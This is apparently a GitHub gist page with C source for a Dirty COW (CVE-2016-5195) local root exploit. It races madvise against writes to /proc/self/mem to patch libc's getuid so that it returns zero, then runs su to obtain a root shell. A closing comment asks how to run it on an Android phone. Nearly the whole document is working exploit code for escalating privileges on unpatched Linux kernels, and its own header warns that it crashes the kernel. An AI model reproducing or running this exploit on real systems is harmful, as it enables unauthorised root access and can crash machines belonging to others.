|
/* |
|
* CVE-2016-5195 dirtypoc |
|
* |
|
* This PoC is memory only and doesn't write anything on the filesystem. |
|
* /!\ Beware, it triggers a kernel crash a few minutes. |
|
* |
|
* gcc -Wall -o dirtycow-mem dirtycow-mem.c -ldl -lpthread |
|
*/ |
|
|
|
#define _GNU_SOURCE |
|
#include <err.h> |
|
#include <dlfcn.h> |
|
#include <stdio.h> |
|
#include <fcntl.h> |
|
#include <stdlib.h> |
|
#include <string.h> |
|
#include <unistd.h> |
|
#include <limits.h> |
|
#include <pthread.h> |
|
#include <stdbool.h> |
|
#include <sys/mman.h> |
|
#include <sys/stat.h> |
|
#include <sys/user.h> |
|
#include <sys/wait.h> |
|
#include <sys/types.h> |
|
|
|
|
|
#define SHELLCODE "\x31\xc0\xc3" |
|
#define SPACE_SIZE 256 |
|
#define LIBC_PATH "/lib/x86_64-linux-gnu/libc.so.6" |
|
#define LOOP 0x1000000 |
|
|
|
#ifndef PAGE_SIZE |
|
#define PAGE_SIZE 4096 |
|
#endif |
|
|
|
struct mem_arg { |
|
struct stat st; |
|
off_t offset; |
|
unsigned long patch_addr; |
|
unsigned char *patch; |
|
unsigned char *unpatch; |
|
size_t patch_size; |
|
bool do_patch; |
|
void *map; |
|
}; |
|
|
|
|
|
static int check(bool do_patch, const char *thread_name) |
|
{ |
|
uid_t uid; |
|
|
|
uid = getuid(); |
|
|
|
if (do_patch) { |
|
if (uid == 0) { |
|
printf("[*] patched (%s)\n", thread_name); |
|
return 1; |
|
} |
|
} else { |
|
if (uid != 0) { |
|
printf("[*] unpatched: uid=%d (%s)\n", uid, thread_name); |
|
return 1; |
|
} |
|
} |
|
|
|
return 0; |
|
} |
|
|
|
|
|
static void *madviseThread(void *arg) |
|
{ |
|
struct mem_arg *mem_arg; |
|
size_t size; |
|
void *addr; |
|
int i, c = 0; |
|
|
|
mem_arg = (struct mem_arg *)arg; |
|
addr = (void *)(mem_arg->offset & (~(PAGE_SIZE - 1))); |
|
size = mem_arg->offset - (unsigned long)addr; |
|
|
|
for(i = 0; i < LOOP; i++) { |
|
c += madvise(addr, size, MADV_DONTNEED); |
|
|
|
if (i % 0x1000 == 0 && check(mem_arg->do_patch, __func__)) |
|
break; |
|
} |
|
|
|
if (c == 0x1337) |
|
printf("[*] madvise = %d\n", c); |
|
|
|
return NULL; |
|
} |
|
|
|
static void *procselfmemThread(void *arg) |
|
{ |
|
struct mem_arg *mem_arg; |
|
int fd, i, c = 0; |
|
unsigned char *p; |
|
|
|
mem_arg = (struct mem_arg *)arg; |
|
p = mem_arg->do_patch ? mem_arg->patch : mem_arg->unpatch; |
|
|
|
fd = open("/proc/self/mem", O_RDWR); |
|
if (fd == -1) |
|
err(1, "open(\"/proc/self/mem\""); |
|
|
|
for (i = 0; i < LOOP; i++) { |
|
lseek(fd, mem_arg->offset, SEEK_SET); |
|
c += write(fd, p, mem_arg->patch_size); |
|
|
|
if (i % 0x1000 == 0 && check(mem_arg->do_patch, __func__)) |
|
break; |
|
} |
|
|
|
if (c == 0x1337) |
|
printf("[*] /proc/self/mem %d\n", c); |
|
|
|
close(fd); |
|
|
|
return NULL; |
|
} |
|
|
|
static int get_range(unsigned long *start, unsigned long *end) |
|
{ |
|
char line[4096]; |
|
char filename[PATH_MAX]; |
|
char flags[32]; |
|
FILE *fp; |
|
int ret; |
|
|
|
ret = -1; |
|
|
|
fp = fopen("/proc/self/maps", "r"); |
|
if (fp == NULL) |
|
err(1, "fopen(\"/proc/self/maps\")"); |
|
|
|
while (fgets(line, sizeof(line), fp) != NULL) { |
|
sscanf(line, "%lx-%lx %s %*Lx %*x:%*x %*Lu %s", start, end, flags, filename); |
|
|
|
if (strstr(flags, "r-xp") == NULL) |
|
continue; |
|
|
|
if (strstr(filename, "/libc-") == NULL) |
|
continue; |
|
//printf("[%lx-%6lx][%s][%s]\n", start, end, flags, filename); |
|
ret = 0; |
|
break; |
|
} |
|
|
|
fclose(fp); |
|
|
|
return ret; |
|
} |
|
|
|
static void getroot(void) |
|
{ |
|
execlp("su", "su", NULL); |
|
err(1, "failed to execute \"su\""); |
|
} |
|
|
|
static void exploit(struct mem_arg *mem_arg, bool do_patch) |
|
{ |
|
pthread_t pth1, pth2; |
|
|
|
printf("[*] exploiting (%s)\n", do_patch ? "patch": "unpatch"); |
|
|
|
mem_arg->do_patch = do_patch; |
|
|
|
pthread_create(&pth1, NULL, madviseThread, mem_arg); |
|
pthread_create(&pth2, NULL, procselfmemThread, mem_arg); |
|
|
|
pthread_join(pth1, NULL); |
|
pthread_join(pth2, NULL); |
|
} |
|
|
|
static unsigned long get_getuid_addr(void) |
|
{ |
|
unsigned long addr; |
|
void *handle; |
|
char *error; |
|
|
|
dlerror(); |
|
|
|
handle = dlopen("libc.so.6", RTLD_LAZY); |
|
if (handle == NULL) { |
|
fprintf(stderr, "%s\n", dlerror()); |
|
exit(EXIT_FAILURE); |
|
} |
|
|
|
addr = (unsigned long)dlsym(handle, "getuid"); |
|
error = dlerror(); |
|
if (error != NULL) { |
|
fprintf(stderr, "%s\n", error); |
|
exit(EXIT_FAILURE); |
|
} |
|
|
|
dlclose(handle); |
|
|
|
return addr; |
|
} |
|
|
|
int main(int argc, char *argv[]) |
|
{ |
|
unsigned long start, end; |
|
unsigned long getuid_addr; |
|
struct mem_arg mem_arg; |
|
struct stat st; |
|
pid_t pid; |
|
int fd; |
|
|
|
if (get_range(&start, &end) != 0) |
|
errx(1, "failed to get range"); |
|
|
|
printf("[*] range: %lx-%lx]\n", start, end); |
|
|
|
getuid_addr = get_getuid_addr(); |
|
printf("[*] getuid = %lx\n", getuid_addr); |
|
|
|
mem_arg.patch = malloc(sizeof(SHELLCODE)-1); |
|
if (mem_arg.patch == NULL) |
|
err(1, "malloc"); |
|
|
|
mem_arg.unpatch = malloc(sizeof(SHELLCODE)-1); |
|
if (mem_arg.unpatch == NULL) |
|
err(1, "malloc"); |
|
|
|
memcpy(mem_arg.unpatch, (void *)getuid_addr, sizeof(SHELLCODE)-1); |
|
memcpy(mem_arg.patch, SHELLCODE, sizeof(SHELLCODE)-1); |
|
mem_arg.patch_size = sizeof(SHELLCODE)-1; |
|
mem_arg.do_patch = true; |
|
|
|
fd = open(LIBC_PATH, O_RDONLY); |
|
if (fd == -1) |
|
err(1, "open(\"" LIBC_PATH "\")"); |
|
if (fstat(fd, &st) == -1) |
|
err(1, "fstat"); |
|
|
|
mem_arg.map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, fd, 0); |
|
if (mem_arg.map == MAP_FAILED) |
|
err(1, "mmap"); |
|
close(fd); |
|
|
|
printf("[*] mmap %p\n", mem_arg.map); |
|
|
|
mem_arg.st = st; |
|
mem_arg.offset = (off_t)((unsigned long)mem_arg.map + getuid_addr - start); |
|
|
|
exploit(&mem_arg, true); |
|
|
|
pid = fork(); |
|
if (pid == -1) |
|
err(1, "fork"); |
|
|
|
if (pid == 0) { |
|
getroot(); |
|
} else { |
|
sleep(2); |
|
exploit(&mem_arg, false); |
|
if (waitpid(pid, NULL, 0) == -1) |
|
warn("waitpid"); |
|
} |
|
|
|
return 0; |
|
} |
This comment has been minimized.
Jtillburn commentedOct 25, 2016
•
edited
I got dirtycow running on a Nexus 5 with KitKat. However I'm unsure of how to execute dirtycow-mem.c. I compiled the file with:
gcc -Wall -o dirtycow-mem dirtycow-mem.c -ldl -lpthread
Then copied it over to where dirtycow is in /data/local/tmp. From there can it be run by using ./dircow-mem run-as ? I tried executing the code in this manner and got:
./dirtycow-mem[1]: syntax error: '(' unexpected
Any help is appreciated.